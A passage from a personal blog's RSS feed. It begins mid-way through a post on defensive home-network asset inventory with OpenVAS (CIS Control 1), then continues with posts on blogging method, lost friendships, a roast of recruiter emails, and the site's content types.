  &lt;li&gt;
    &lt;p&gt;You can then click over to the “Hosts” tab and see all the devices discovered! Further, you navigate to the “Operating Systems” tab to see a breakdown of all the devices found and what Operating System OpenVAS has determined that each device is running.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Congrats, you now have a starting hardware inventory for network-connected devices. Now let’s take a closer look at what we found.&lt;/p&gt;

&lt;p&gt;As seen below, I found 27 unique hosts on my network. Great. Based on my previous understanding of the network, do I believe there is anything missing from this list? If so, I may want to troubleshoot why the scanner did not find it. Perhaps the missing device is behind a firewall that my scanner couldn’t traverse? Does the system in question deny ICMP and/or TCP-based pings? Was the device off the network at the time of the scan? These are a couple of good questions to ask.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/cis-at-home/control1/27hosts.png&quot; alt=&quot;27 Hosts&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Going a little deeper now… What exactly are the devices we found with our scan? As I mentioned, scanners like NMAP and OpenVAS have some foot-printing capabilities to help you determine what Operating Systems a device is running or who the device manufacturer is. By clicking into an IP Address found in the “Hosts” tab, you can see additional details on individual systems. This will include a “&lt;a href=&quot;https://nvd.nist.gov/products/cpe&quot;&gt;Common Platform Enumeration&lt;/a&gt;” (CPE) value which suggests a likely OS for the respective system.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/cis-at-home/control1/HostIdentifiers.png&quot; alt=&quot;Apple TV&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finally, a good practice for maintaining a hardware inventory is to understand, for each identified system, who the owner is. For home network environments, this may be easy to figure out. For small business organizations, it may require manually interviewing potential system owners to determine who owns what. Knowing what the device is, what OS it runs and other types of information can help you narrow down who the potential owner may be. Once you have this information, or as you find out this information, you can tag assets in OpenVAS with the owner (or any other metadata you find valuable). To do this, go to &lt;em&gt;Configuration&lt;/em&gt;–&amp;gt;&lt;em&gt;Tags&lt;/em&gt;, create a new tag, give it a name, such as “Owner”, a value of the owner name and the Resource Type “Host”. From there you can select discovered Resources from the dropdown to associate with that tag. As new devices are discovered, be sure to assign them a tag. If you can’t figure out what a device is, further investigation is required to determine if it is an authorized device or not.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/cis-at-home/control1/NewTag.png&quot; alt=&quot;Tags&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TIP&lt;/strong&gt;: I recommend creating a tag called “Authorized” (or something similar) and assigning all hosts that tag which have been vetted as an authorized device. This way, as new devices come in, they can easily be identified as new and the vetting process can proceed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TIP&lt;/strong&gt;: For more on how to get the most out of OpenVAS check out the &lt;a href=&quot;https://docs.greenbone.net/GSM-Manual/gos-20.08/en/&quot;&gt;full documentation of Greenbone Networks GSM&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;address-unauthorized-assets-sub-control-16&quot;&gt;Address Unauthorized Assets (Sub-Control 1.6)&lt;/h2&gt;

&lt;p&gt;The second fundamental concept of CIS control 1 is that of Hardware &lt;strong&gt;Control&lt;/strong&gt; - keeping unauthorized devices &lt;em&gt;OFF&lt;/em&gt; your network. The security value of this control is relatively self-explanatory. Having unauthorized devices communicating on the network and potentially taking malicious actions would certainly have security-related consequences. Ideally, hardware control is achieved via a full-featured Network Access Control (NAC) solution. In a more simplistic implementation, enabling something like “MAC Address Filtering” would be an alternate technique for keeping unwanted devices off your network. This control however can be bypassed with relative ease for a dedicated attacker as MAC addresses are trivially spoofed. The idea behind MAC address filtering is to white-list certain MAC addresses and any that do not fall within that whitelist will not be allowed to access the network. NAC takes this idea further by implementing additional checks that a system attempting to access the network would need to pass to then be granted access.&lt;/p&gt;

&lt;h3 id=&quot;rogue-device-scanning&quot;&gt;Rogue-Device Scanning&lt;/h3&gt;
&lt;p&gt;In the absence of a true preventative network access control we can instead turn to a detective measure. The goal of rogue-device scanning is to identify assets on your network that shouldn’t be there or are not authorized to be on the network. One common way of performing this sort of scanning is to simply scan the entire internal network address space with something like NMAP. This scan can be run routinely (for example weekly) to regularly audit your network for rogue devices. One weakness of this approach is that if a device pops on the network for only a short period and then goes offline, your scan will be unlikely to catch it. To capture these more temporal rogues, doing some network traffic capture and analyzing that data is a good way to monitor for rogues. This type of scanning can be done using NMAP or OpenVAS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;More To Come On Hardware Control&lt;/strong&gt;…&lt;/p&gt;

&lt;p&gt;&lt;em&gt;I’d like to re-visit this sub-control as part of a further chapter in this CIS-at-home series.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;additional-cis-control-1-resources&quot;&gt;Additional CIS Control 1 Resources&lt;/h2&gt;

&lt;p&gt;The community (free) version of Nessus is a great alternative to OpenVAS but has limitations unless you buy a pro license. - &lt;a href=&quot;https://www.tenable.com/blog/nessus-home-is-now-nessus-essentials&quot;&gt;Nessus Essentials&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;next-in-the-series&quot;&gt;Next in the Series&lt;/h1&gt;

&lt;p&gt;Thanks for reading! The next chapter in the &lt;em&gt;CIS at Home&lt;/em&gt; series covers &lt;strong&gt;Control 2&lt;/strong&gt;: &lt;a href=&quot;https://shellsharks.com/csc-at-home-part-2&quot;&gt;Software Inventory and Control&lt;/a&gt;.&lt;/p&gt;
</description>
        <pubDate>Sat, 11 May 2024 09:26:00 -0400</pubDate>
        <link>https://shellsharks.com/csc-at-home-part-1</link>
        <guid isPermaLink="true">https://shellsharks.com/csc-at-home-part-1</guid>
        
        <category>infosec</category>
        
        <category>cis</category>
        
        <category>csc</category>
        
        <category>openvas</category>
        
        <category>vm</category>
        
        <category>scanning</category>
        
        <category>blopomo</category>
        
        <category>weblogpomo2024</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Blogging Methodology</title>
        <shark:summary><p><strong>Blogging</strong> is more than just <a href="#writing">writing</a>. One must come up with <a href="#ideation">ideas</a>, <a href="#research">research</a> topics, get words / sentences from brain to keyboard (i.e. “write”), <a href="#editing--enrichment">edit + enrich</a> the words themselves and <em>finally</em> <a href="#publishing">publish</a> content out to its destination. Below I break down <em>my</em> process for blogging.</p>
</shark:summary>
        <description>&lt;p&gt;&lt;strong&gt;Blogging&lt;/strong&gt; is more than just &lt;a href=&quot;#writing&quot;&gt;writing&lt;/a&gt;. One must come up with &lt;a href=&quot;#ideation&quot;&gt;ideas&lt;/a&gt;, &lt;a href=&quot;#research&quot;&gt;research&lt;/a&gt; topics, get words / sentences from brain to keyboard (i.e. “write”), &lt;a href=&quot;#editing--enrichment&quot;&gt;edit + enrich&lt;/a&gt; the words themselves and &lt;em&gt;finally&lt;/em&gt; &lt;a href=&quot;#publishing&quot;&gt;publish&lt;/a&gt; content out to its destination. Below I break down &lt;em&gt;my&lt;/em&gt; process for blogging.&lt;/p&gt;

&lt;h3 id=&quot;ideation&quot;&gt;Ideation&lt;/h3&gt;

&lt;p&gt;Before I can write, I first need an &lt;strong&gt;idea&lt;/strong&gt; of what to write about! So how do I come up with ideas? What are some sources of inspiration? Turns out, I have many!&lt;/p&gt;

&lt;p&gt;First, it helps that my site isn’t particularly “niche”. If my blog was strictly infosec content, I would be far more limited in what I could write about. From the beginning, I made sure the &lt;em&gt;theme&lt;/em&gt; of my site was scoped broadly, “&lt;em&gt;Infosec, Technology &amp;amp; Life&lt;/em&gt;”, effectively giving myself infinite room to write about &lt;em&gt;anything&lt;/em&gt; I wanted.&lt;/p&gt;

&lt;p&gt;Work, i.e. my professional life, is a great source of ideas and content. If i’m working on something at my job, or learning something new, there’s no reason I shouldn’t write about it! Doing so helps reinforce what I am doing such that I’m more effective on the job and also helps me create a resource for myself and others later. (&lt;strong&gt;Note&lt;/strong&gt;: &lt;em&gt;Just be sure to keep what you write about is environment/company-agnostic so you don’t get in any trouble.&lt;/em&gt;)&lt;/p&gt;

&lt;p&gt;Social media is a great source of ideas. There are lots of conversations and other pieces published by bloggers to take inspiration from. There is a trend of one blogger posting something like “Thoughts on Chips”, and then others writing a &lt;a href=&quot;https://shellsharks.com/notes/2024/01/29/thoughts-on-chips&quot;&gt;response post&lt;/a&gt; where they too write about that same subject. So using the collective idea pool of those you follow and by extension, who &lt;em&gt;they&lt;/em&gt; follow, is a great way to come up with ideas. Similarly, people tend to ask a lot of questions on social media. Answering a question via a blog post is a great way to write, help someone/the community and also market your site.&lt;/p&gt;

&lt;p&gt;The act of blogging and maintaining a site has also been, for me, a wellspring of new things to write about. Turns out when you research and write, you come up with more and more ideas!&lt;/p&gt;

&lt;p&gt;If all else fails, pull ideas from your life. If you have a good recipe, document it! Saw a good movie? Review it! Like your car? Write about it. Anything and everything in your life can be written about. Don’t worry about whether it will be “interesting” to others. If it interests you, I &lt;a href=&quot;https://shellsharks.com/notes/2024/03/13/you-have-something-to-say-someone-will-listen&quot;&gt;guarantee&lt;/a&gt; it will interest someone else. In fact, in the past I’ve written about a number of things &lt;a href=&quot;https://shellsharks.com/you-should-blog#what-not-to-worry-about&quot;&gt;not to worry about&lt;/a&gt; when writing/blogging and I think it is still great advice.&lt;/p&gt;

&lt;h3 id=&quot;research&quot;&gt;Research&lt;/h3&gt;

&lt;p&gt;I don’t have a specific, or particulary well-thought-out &lt;strong&gt;research&lt;/strong&gt; methodology. There are posts that I spend a long time writing and researching and many that I do effectively no research on. For the latter, I write it completely off the cuff and ship it. The “&lt;a href=&quot;https://shellsharks.com/tags?tag=technical&quot;&gt;technical&lt;/a&gt;” posts tend to be ones that are more link and research-heavy, while posts about things in my &lt;a href=&quot;https://shellsharks.com/tags?tag=life&quot;&gt;life&lt;/a&gt; are often written as single trains of thought. Remember! If you’re posting something on a site you own, you can always edit posts after they are initially published. Nothing is set in stone. So don’t let perfection be the enemy of just getting something written and published to the world.&lt;/p&gt;

&lt;h3 id=&quot;writing&quot;&gt;Writing&lt;/h3&gt;

&lt;p&gt;So how do I &lt;strong&gt;write&lt;/strong&gt;? I tend to start by just dumping as much as I can think of as lists, relevant links, sections and other raw ideas / thoughts into the doc. From there, I start figuring out the rough framing/skeleton (i.e. sections) of the post will be. Once I know generally the sections I want to write and their order, I just start at the beginning, write the intro and then move on to each successive section. For longer posts, I tend to jump back and forth between writing and &lt;a href=&quot;#editing--enrichment&quot;&gt;editing/enrichment&lt;/a&gt; after each section. I find that my writing “style” is very conversational, and &lt;em&gt;probably&lt;/em&gt; riddled with syntactic errors.&lt;/p&gt;

&lt;h3 id=&quot;editing--enrichment&quot;&gt;Editing + Enrichment&lt;/h3&gt;

&lt;p&gt;The most time-consuming part of my blogging process is &lt;strong&gt;editing &amp;amp; enrichment&lt;/strong&gt;, notably the &lt;em&gt;enrichment&lt;/em&gt; part. I tend to read through each section a number of times, each time looking to improve a different aspect…&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Flow &amp;amp; wording&lt;/strong&gt;: This is the first thing I attempt to fix, paragraph-by-paragraph. I try to make sure what I’ve said makes sense, flows together and the words themselves are of quality and non-repetitive.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Spelling &amp;amp; grammar&lt;/strong&gt;: Next, a classic spelling &amp;amp; grammar run-through.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Links&lt;/strong&gt;: For those of you that are familiar with my writing portfolio, you know that I &lt;em&gt;&lt;a href=&quot;https://shellsharks.com/hyperlink-travel&quot;&gt;love&lt;/a&gt;&lt;/em&gt; to link to things - within the post jumping to sections, in other posts on my site and to external content. I link &lt;em&gt;&lt;a href=&quot;https://libre.town/thoughts/entry_9.xhtml&quot;&gt;everything&lt;/a&gt;&lt;/em&gt; and &lt;em&gt;everywhere&lt;/em&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Supplementary information&lt;/strong&gt;: Sometimes I find that a paragraph or section doesn’t completely convey what I wanted to say or it alone isn’t enough information for my intended audience. I tend to like to write to an audience who is more “beginner”, which means giving more background and context. So, if I find more info is needed, I will either write additional paragraphs for a respective section, or add appendices as needed. In many cases, I will just link to relevant content that I’ve written elsewhere on the site.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Graphics&lt;/strong&gt;: A simple pass-through - would the section benefit from a graphic? If so, I make it and drop it in.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;: For longer posts (and those which required some “&lt;a href=&quot;#research&quot;&gt;research&lt;/a&gt;”), I like to have thorough citations/references at the bottom. This requires superscripting throughout each section and having relevant, numbered links in an appendix at the bottom.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Other stuff&lt;/strong&gt;: This final pass-through is where I tend to fix things like my accursed habit of using “it’s” when I should be using “its”, among other things.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;publishing&quot;&gt;Publishing&lt;/h3&gt;

&lt;p&gt;You can read more about my &lt;a href=&quot;https://shellsharks.com/syndication-strategy&quot;&gt;syndication strategy&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;There ya have it&lt;/em&gt;! That’s how I blog.&lt;/p&gt;

</description>
        <pubDate>Thu, 09 May 2024 22:30:00 -0400</pubDate>
        <link>https://shellsharks.com/blogging-methodology</link>
        <guid isPermaLink="true">https://shellsharks.com/blogging-methodology</guid>
        
        <category>technology</category>
        
        <category>blogging</category>
        
        <category>weblogpomo2024</category>
        
        <category>blopomo</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>An Ode to Lost Friends</title>
        <shark:summary><p>They say time heals all, but time is also a void that severs and decays the bonds of friendship. With fondness and regret, I look back at a life dotted with friendships made, and those forgotten…</p>
</shark:summary>
        <description>&lt;p&gt;They say time heals all, but time is also a void that severs and decays the bonds of friendship. With fondness and regret, I look back at a life dotted with friendships made, and those forgotten…&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Thanks to &lt;a href=&quot;https://www.vzqk50.com/whoami/&quot;&gt;Apis Necros&lt;/a&gt; for inspiring me with their own &lt;a href=&quot;https://www.vzqk50.com/blog/an-ode-to-lost-friends/&quot;&gt;original post&lt;/a&gt; on this subject.&lt;/em&gt;&lt;/p&gt;

&lt;center&gt;&lt;i class=&quot;ph ph-butterfly&quot;&gt;&lt;/i&gt;&lt;/center&gt;

&lt;h3 id=&quot;veronica&quot;&gt;“Veronica”&lt;/h3&gt;

&lt;p&gt;In elementary school (I forget which grade exactly), we used to play kickball before class. One day, I got pegged in the face with the ball. It knocked the glasses off my face into the dirt and my nose bled. I cried and the kids laughed. “Veronica” (Her name definitely started with a “V”, but it could have been something else) instead picked up my glasses and asked me if I was OK. We weren’t ever friends, either before or after that day, but I’ll always remember how she was nice to me in that moment.&lt;/p&gt;

&lt;h3 id=&quot;the-boys-in-black&quot;&gt;The “Boys in Black”&lt;/h3&gt;

&lt;p&gt;Way back in 4th/5th grade there was a group of maybe 3 of us who called ourselves the “Boys in Black”, i.e. “BiB” (inspired by the “Men in Black” movie). I don’t remember how we came up with this, or to what extent any one of us loved that movie so much that we’d name our group after it, but yeah. It’s funny too because thinking back, wearing black was not part of what we did at all. We would hold (daily?) meetings in class to discuss &lt;em&gt;something&lt;/em&gt;, but mostly we spent our time doodling “bases” and fantastical weaponry / vehicles-of-war (e.g. jeeps, tanks, etc…). I suppose we liked (as many young boys/children probably do) the idea of having a secret base filled with cool gadgets and lasers. In that group, was another kid whos name I don’t remember, but I &lt;em&gt;do&lt;/em&gt; recall that his birthday was the day &lt;em&gt;after&lt;/em&gt; mine. We used to observe that my birthday was the final day of Winter and his the first of Spring. That meant something to us. To the BiB!&lt;/p&gt;

&lt;h3 id=&quot;leanna&quot;&gt;Leanna&lt;/h3&gt;

&lt;p&gt;My family and hers were incredibly close growing up, even into the later years of our childhood (i.e. highschool). We went on family trips, went camping, I even went to some highschool dances with her. Our parents would joke about us dating but we were always just friends. I still have vague memories of going to her family’s townhouse (in Lakeridge?) and hanging out in the basement with their dog Zelda and her two sisters (Victoria and Alexandra). In what is somewhat of a small-world-style twist, she ended up getting married to another past friend of mine from a separate circle (James, who I knew from Boy Scouts). I still think about the two of them and her family from time to time. I could probably reach out, but I never do. I hope they’re all doing great!&lt;/p&gt;

&lt;h3 id=&quot;amy&quot;&gt;Amy&lt;/h3&gt;

&lt;p&gt;Amy was, for a time, my best friend. In the days before the Internet took off, or cell phones were a thing, we would talk for HOURS on the phone, about anything, about whatever teenage kids in the 00’s had to talk about. One day, it just faded away and we stopped talking. I still don’t know why.&lt;/p&gt;

&lt;h3 id=&quot;galileo&quot;&gt;Galileo&lt;/h3&gt;

&lt;p&gt;Zak, Aaron, Johnson, Sean, my fellow 7th floor Galileo engineers at VT. For the better part of 4 years they were my friends, classmates and those I spent my days with. We had some good times and I suppose some not as good times. I sadly don’t talk to them anymore. I’ve seen some occasional things on LinkedIn, in the days I bothered to go on LinkedIn and see what they were up to. It would be cool to catch up one day, see where their lives had taken them, meet their families, their kids. Ya never know…&lt;/p&gt;

&lt;h3 id=&quot;kenny&quot;&gt;Kenny&lt;/h3&gt;

&lt;p&gt;For nearly 5 years me and Kenny sat next to each other and did our best to stay busy. We worked at a large, well-known defense contractor. We were work friends and even had the rare meetup outside of work. Most memorable to me though is the weeks we spent painting/coloring/decorating these little troll figurines to look like various Marvel/DC super heros. Silly times.&lt;/p&gt;

&lt;h3 id=&quot;destiny-1-raid-crew&quot;&gt;Destiny 1, Raid Crew&lt;/h3&gt;

&lt;p&gt;Oh man did I love playing Destiny back in the day. I was a big time Halo addict back in the Halo 2/3 days and Destiny was no different. I played a lot of PVP via matchmaking but I also did a lot of raids (VoG anyone?) with a specific crew. We got along great and I remember they thought I was pretty funny. One day I just stopped playing and that was the end of an era.&lt;/p&gt;

&lt;h3 id=&quot;destiny-2-stadia--the-salvations-clan&quot;&gt;Destiny 2, Stadia &amp;amp; the Salvations Clan&lt;/h3&gt;

&lt;p&gt;Years after D1, Destiny 2 came to Stadia and I got really into the franchise once more. I played on “Stadia”, Google’s game streaming platform and it was a really great experience, and also a very small (relatively speaking) community. We all seemed to generally know each other and get along, chatting amongst ourselves across a few Discord servers and Reddit subs. Eventually I joined the “Salvations” clan with my brother, someone who went by “Politics” (who was &lt;em&gt;very&lt;/em&gt; good) and a number of others. I also played with someone named “Time” who was very good with the bow. My “Arbalest” skills were &lt;a href=&quot;https://www.youtube.com/watch?v=fDJBsc9SRvc&quot;&gt;legendary&lt;/a&gt; amongst the Stadia crew and boy did I have fun playing. Eventually life, family and other priorities became too much for me to afford the time needed to keep up with the game though. So much like what happened with D1, I pretty much vanished one day (and eventually Stadia too met its end.)&lt;/p&gt;

&lt;h3 id=&quot;pickup-ballers&quot;&gt;Pickup Ballers&lt;/h3&gt;

&lt;p&gt;Over the years I’ve ran pickup bball with a number of different groups of guys. In each era, I’d play several times a week, for several hours each day. We came to know each other by name and we knew each others style of play. When I moved, or switched gyms, there were never any goodbyes. I just stopped going one day. In rare cases I would run into someone at wherever my new place that I would play, but generally, I just never saw them again. Another example, in a long string of examples of very situational friendships.&lt;/p&gt;

&lt;p&gt;Shoutout to the Courtland Towers crew - Paul, Leo, Eric, Steve K, Steve J, Derek and others whos names escape me.&lt;/p&gt;

&lt;center&gt;&lt;i class=&quot;ph ph-infinity&quot;&gt;&lt;/i&gt;&lt;/center&gt;

&lt;p&gt;My stories aren’t particularly unique. Everyone has similar tales of friendships made and lost. It is just the nature of our shared experience as humans. I will admit that I am particularly bad at keeping in touch and surely what could have been longer-lasting relationships have suffered because of it. I also have a notoriously bad memory in terms of remembering anything from more than like 5 years ago, so there are likely countless other meaningful friendships that have been completely lost, even in memory. For those in my past, mentioned or not mentioned here that ever wanted to reach out, do it!&lt;/p&gt;
</description>
        <pubDate>Mon, 06 May 2024 09:11:00 -0400</pubDate>
        <link>https://shellsharks.com/an-ode-to-lost-friends</link>
        <guid isPermaLink="true">https://shellsharks.com/an-ode-to-lost-friends</guid>
        
        <category>life</category>
        
        <category>blopomo</category>
        
        <category>weblogpomo2024</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>HIRING::::URGENT!::SECURITYSPECIALIST:::REMOTE</title>
        <shark:summary><p>If you are in the tech space, you are probably accustomed to the daily barrage of poorly formatted and eye-gougingly styled job emails from tiny recruitment shops. What is up with those? Why are they so bad?</p>
</shark:summary>
        <description>&lt;p&gt;If you are in the tech space, you are probably accustomed to the daily barrage of poorly formatted and eye-gougingly styled job emails from tiny recruitment shops. What is up with those? Why are they so bad?&lt;/p&gt;

&lt;p&gt;Take for example, what you see below…&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2024/bizarre_recruiters.jpg&quot; alt=&quot;HIRING:::::URGENT::::SECURITYSPECIALIST::::REMOTE!!&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;OK&lt;/em&gt;, yeah… &lt;em&gt;wow&lt;/em&gt;. Rough on the eyes right? To be transparent, this is NOT an actual email I’ve received, it is instead something I crafted where every bizarre formatting, style and language choice was taken directly from, or heavily inspired by, an email I &lt;em&gt;have&lt;/em&gt; received in literally the past 3 days or so. I’ve just decided to mush all of these oddities into a single email for comedic effect. So let’s go ahead and roast it a bit…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Too often they’re either not bothered to address the email to me, get my name wrong or have something generic like “CANDIDATE”.&lt;/li&gt;
  &lt;li&gt;Weird ellipses in places they’re not called for.&lt;/li&gt;
  &lt;li&gt;2+ exclamation points in random places.&lt;/li&gt;
  &lt;li&gt;Things are just highlighted at random, often with different colors throughout. Oh and the dark mode version of these emails is even MORE illegible.&lt;/li&gt;
  &lt;li&gt;Multiple font types, font sizes, line spacing, font weights, you name it…&lt;/li&gt;
  &lt;li&gt;Crazy amount of white space inbetween sections.&lt;/li&gt;
  &lt;li&gt;Plenty of language follies. (&lt;em&gt;I really mean no offense here to non-native English speakers. I understand the difficulty of learning a second language, but in a setting where you are catering to an english-speaking candidate pool, getting this right could go a long way in making these emails seem more legitimate &amp;amp; professional&lt;/em&gt;)
    &lt;ul&gt;
      &lt;li&gt;“&lt;em&gt;I came to you regarding one of my job position&lt;/em&gt;”&lt;/li&gt;
      &lt;li&gt;“&lt;em&gt;We are looking for Engineer Please review below job description&lt;/em&gt;”&lt;/li&gt;
      &lt;li&gt;“&lt;em&gt;If you are interested then please share me your resume&lt;/em&gt;”&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Text is tabbed out in random ways.&lt;/li&gt;
  &lt;li&gt;Table like formatting with incredibly inconsistent margins.&lt;/li&gt;
  &lt;li&gt;“Remote” roles that are also onsite?&lt;/li&gt;
  &lt;li&gt;Scary bolded red lines for VISA requirements.&lt;/li&gt;
  &lt;li&gt;Section headers are inconsistently styled.&lt;/li&gt;
  &lt;li&gt;Lists with bullets, lists without bullets, lists with two different kinds of bullets, blank list items.&lt;/li&gt;
  &lt;li&gt;Whatever this is –&amp;gt; “&lt;em&gt;??????Required????5?????Years&lt;/em&gt;”, at the end of list items.&lt;/li&gt;
  &lt;li&gt;and ya gotta love those signature blocks.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I don’t want this “roast” to come off as mean-spirited. Having actually worked with some of the folks behind these emails, I can assure you that they are in many cases, real people, real recruiters, recruiting for real jobs at real companies. They are, like the rest of us, trying to make a go of this crazy world.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;But!&lt;/em&gt; It’s wild to me that these emails get crafted, whether by hand or by some cursed automation somewhere and then sent, likely en-masse, to people like myself in the hopes that we’ll be encouraged to respond. I suppose if you’re out-of-work or dangerously curious (as I often am) you’re willing to entertain even the wackiest of job propositions. These just straight-up don’t pass the eye test though. Since I know for a &lt;em&gt;fact&lt;/em&gt; that there is some subset of these emails that are legitimate, they &lt;em&gt;must&lt;/em&gt; be interested in improving their response rate for potential candidates right? As such, it wouldn’t take much to clean these up and make them A LOT more palatable. So why do they continue to look like this? Is no one helping them? Do they have individuals who work at these companies who &lt;em&gt;actually&lt;/em&gt; look at these emails, then just nod and say “looks good to me!”?&lt;/p&gt;

&lt;p&gt;So here’s my plea to these recruiting agencies. Pick a font. ONE FONT. Pick a font size. No highlighting. Easy on the white space. Stop capitalizing things at random. Simple sections with bulleted lists is fine! Proofread, just a little. Make sure you get my name right, or a simple - &lt;em&gt;NORMAL!&lt;/em&gt; - greeting is fine (e.g. “Hello”). I &lt;em&gt;promise&lt;/em&gt; this will improve take rate, and spare my eyes a bit in the process.&lt;/p&gt;

&lt;p&gt;Thanks for reading!&lt;/p&gt;
</description>
        <pubDate>Fri, 03 May 2024 08:59:00 -0400</pubDate>
        <link>https://shellsharks.com/roasting-recruiter-emails</link>
        <guid isPermaLink="true">https://shellsharks.com/roasting-recruiter-emails</guid>
        
        <category>technology</category>
        
        <category>funny</category>
        
        <category>blopomo</category>
        
        <category>weblogpomo2024</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>A Multiplicity of Writing</title>
        <shark:summary><p>On this site, I write and publish in a variety of different forms. Here I describe what these different <a href="#content-types">content types</a> are and how / why I use them across the site. Multiple different post ‘<a href="https://indieweb.org/posts#Types_of_Posts">types</a>’ is an important characteristic of an <a href="https://shellsharks.com/indieweb">IndieWeb</a> site. <em>Elsewhere</em>, I cover my approach to <a href="https://shellsharks.com/syndication-strategy">syndication</a> (i.e. <a href="https://indieweb.org/POSSE">POSSE</a> / <a href="https://indieweb.org/PESOS">PESOS</a>), wherein I describe my methodology for sharing and canonicalizing content across the web.</p>
</shark:summary>
        <description>&lt;p&gt;On this site, I write and publish in a variety of different forms. Here I describe what these different &lt;a href=&quot;#content-types&quot;&gt;content types&lt;/a&gt; are and how / why I use them across the site. Multiple different post ‘&lt;a href=&quot;https://indieweb.org/posts#Types_of_Posts&quot;&gt;types&lt;/a&gt;’ is an important characteristic of an &lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;IndieWeb&lt;/a&gt; site. &lt;em&gt;Elsewhere&lt;/em&gt;, I cover my approach to &lt;a href=&quot;https://shellsharks.com/syndication-strategy&quot;&gt;syndication&lt;/a&gt; (i.e. &lt;a href=&quot;https://indieweb.org/POSSE&quot;&gt;POSSE&lt;/a&gt; / &lt;a href=&quot;https://indieweb.org/PESOS&quot;&gt;PESOS&lt;/a&gt;), wherein I describe my methodology for sharing and canonicalizing content across the web.&lt;/p&gt;

&lt;h2 id=&quot;content-types&quot;&gt;Content Types&lt;/h2&gt;
&lt;p&gt;My writing here is published in a variety of different formats. A list of these formats is provided below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;i class=&quot;ph ph-note&quot;&gt;&lt;/i&gt; &lt;a href=&quot;#notes&quot;&gt;Notes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;i class=&quot;ph ph-notebook&quot;&gt;&lt;/i&gt; &lt;a href=&quot;#captain-logs&quot;&gt;Captain Logs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;i class=&quot;ph ph-article&quot;&gt;&lt;/i&gt; &lt;a href=&quot;#posts&quot;&gt;Posts&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;i class=&quot;ph ph-microphone&quot;&gt;&lt;/i&gt; &lt;a href=&quot;#podcasts&quot;&gt;Podcasts&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;i class=&quot;ph ph-code-block&quot;&gt;&lt;/i&gt; &lt;a href=&quot;#devlogs&quot;&gt;Devlogs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;i class=&quot;ph ph-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;#links&quot;&gt;Links&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;i class=&quot;ph ph-scroll&quot;&gt;&lt;/i&gt; &lt;a href=&quot;#scrolls&quot;&gt;Scrolls&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;i class=&quot;ph ph-browser&quot;&gt;&lt;/i&gt; &lt;a href=&quot;#other-pages&quot;&gt;Other Pages&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All of this content is (&lt;em&gt;for the most part&lt;/em&gt;) aggregated and displayed chronologically in the &lt;a href=&quot;https://shellsharks.com/activity&quot;&gt;Activity feed&lt;/a&gt;. You can subscribe to most everything here via &lt;a href=&quot;https://shellsharks.com/feeds&quot;&gt;RSS feeds&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;notes&quot;&gt;Notes&lt;/h3&gt;

